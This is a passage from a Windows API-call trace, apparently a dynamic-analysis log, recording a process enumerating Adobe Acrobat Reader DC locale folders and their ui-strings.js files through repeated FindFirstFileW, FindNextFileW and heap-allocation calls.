ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0246.213] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.213] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0246.213] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0246.213] GetProcessHeap () returned 0xc10000 [0246.213] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.213] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0246.213] GetProcessHeap () returned 0xc10000 [0246.213] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.213] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hr-hr\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0246.214] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.214] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe93, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.214] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe93, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.214] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0246.214] GetProcessHeap () returned 0xc10000 [0246.214] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.214] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0246.214] GetProcessHeap () returned 0xc10000 [0246.214] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.214] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\hu-hu\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0246.216] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.216] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.216] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.216] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0246.216] GetProcessHeap () returned 0xc10000 [0246.216] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.216] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0246.216] GetProcessHeap () returned 0xc10000 [0246.216] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.216] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.217] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.217] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.217] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xeae, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.217] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.217] GetProcessHeap () returned 0xc10000 [0246.217] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.217] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0246.218] GetProcessHeap () returned 0xc10000 [0246.218] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.218] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.218] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.218] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1003, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.219] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1003, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.219] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.219] GetProcessHeap () returned 0xc10000 [0246.219] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.219] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0246.219] GetProcessHeap () returned 0xc10000 [0246.219] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.219] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0246.221] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.221] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.221] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.221] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0246.221] GetProcessHeap () returned 0xc10000 [0246.221] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.221] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0246.222] GetProcessHeap () returned 0xc10000 [0246.222] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.222] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nb-no\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.222] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.222] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe55, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.223] GetProcessHeap () returned 0xc10000 [0246.223] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.223] GetProcessHeap () returned 0xc10000 [0246.223] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.223] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\nl-nl\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.225] GetProcessHeap () returned 0xc10000 [0246.225] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.225] GetProcessHeap () returned 0xc10000 [0246.225] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.225] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pl-pl\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.226] GetProcessHeap () returned 0xc10000 [0246.226] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.226] GetProcessHeap () returned 0xc10000 [0246.226] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.226] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\pt-br\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.228] GetProcessHeap () returned 0xc10000 [0246.228] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.228] GetProcessHeap () returned 0xc10000 [0246.228] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.228] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ro-ro\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.229] GetProcessHeap () returned 0xc10000 [0246.229] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.229] GetProcessHeap () returned 0xc10000 [0246.229] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\root\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.230] GetProcessHeap () returned 0xc10000 [0246.230] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39828b0 | out: hHeap=0xc10000) returned 1 [0246.230] GetProcessHeap () returned 0xc10000 [0246.231] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39828b0 [0246.231] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ru-ru\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, 